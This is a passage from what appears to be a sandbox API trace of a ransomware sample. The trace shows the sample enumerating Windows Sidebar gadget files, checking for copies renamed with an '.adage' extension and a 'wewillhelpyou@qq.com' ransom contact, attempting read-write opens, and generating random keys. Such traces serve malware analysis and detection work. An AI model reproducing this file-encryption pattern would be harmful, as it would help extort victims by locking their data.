lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.145] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2726) returned 1 [0062.145] CloseHandle (hObject=0x1a0) returned 1 [0062.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_orange.png")) returned 0x20 [0062.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_orange.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_orange.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_orange.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.146] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\corner.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.146] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=214) returned 1 [0062.146] CloseHandle (hObject=0x1a0) returned 1 [0062.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\corner.png")) returned 0x20 [0062.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\corner.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\corner.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.147] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl-hot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.147] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1016) returned 1 [0062.147] CloseHandle (hObject=0x1a0) returned 1 [0062.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl-hot.png")) returned 0x20 [0062.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl-hot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl-hot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.148] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.149] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=896) returned 1 [0062.149] CloseHandle (hObject=0x1a0) returned 1 [0062.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl.png")) returned 0x20 [0062.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.149] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\month.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.149] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=150) returned 1 [0062.149] CloseHandle (hObject=0x1a0) returned 1 [0062.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\month.png")) returned 0x20 [0062.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\month.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\month.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.150] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-desk.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-desk.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.151] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=502) returned 1 [0062.151] CloseHandle (hObject=0x1a0) returned 1 [0062.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-desk.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-desk.png")) returned 0x20 [0062.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-desk.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-desk.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-desk.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-desk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.151] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-dock.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-dock.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.151] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=334) returned 1 [0062.151] CloseHandle (hObject=0x1a0) returned 1 [0062.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-dock.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-dock.png")) returned 0x20 [0062.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-dock.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-dock.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-dock.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-dock.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.152] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\logo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0062.800] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6166) returned 1 [0062.800] CloseHandle (hObject=0x184) returned 1 [0062.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\logo.png")) returned 0x20 [0062.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\logo.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.811] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\clock.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\clock.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.035] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4172) returned 1 [0063.035] CloseHandle (hObject=0x1ac) returned 1 [0063.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\clock.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\clock.html")) returned 0x20 [0063.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\clock.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\clock.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\clock.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\clock.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.036] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\clock.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.038] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=674) returned 1 [0063.038] CloseHandle (hObject=0x1ac) returned 1 [0063.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\clock.css")) returned 0x20 [0063.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\clock.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\clock.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.038] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.039] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1374) returned 1 [0063.039] CloseHandle (hObject=0x1ac) returned 1 [0063.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\settings.css")) returned 0x20 [0063.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\settings.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.040] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.040] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1003) returned 1 [0063.040] CloseHandle (hObject=0x1ac) returned 1 [0063.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\gadget.xml")) returned 0x20 [0063.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\gadget.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.040] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\clock.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\clock.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.041] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=18042) returned 1 [0063.041] CloseHandle (hObject=0x1ac) returned 1 [0063.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\clock.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\clock.js")) returned 0x20 [0063.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\clock.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\clock.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\clock.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\clock.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.041] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\settings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.042] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=23630) returned 1 [0063.042] CloseHandle (hObject=0x1ac) returned 1 [0063.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\settings.js")) returned 0x20 [0063.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\settings.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\settings.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.043] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\timeZones.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\timezones.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.043] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=9612) returned 1 [0063.043] CloseHandle (hObject=0x1ac) returned 1 [0063.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\timeZones.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\timezones.js")) returned 0x20 [0063.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\timeZones.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\timezones.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\timeZones.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\timezones.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.043] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\settings.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.044] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=10260) returned 1 [0063.044] CloseHandle (hObject=0x1ac) returned 1 [0063.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\settings.html")) returned 0x20 [0063.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\settings.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\settings.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\settings.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.044] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.044] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=11788) 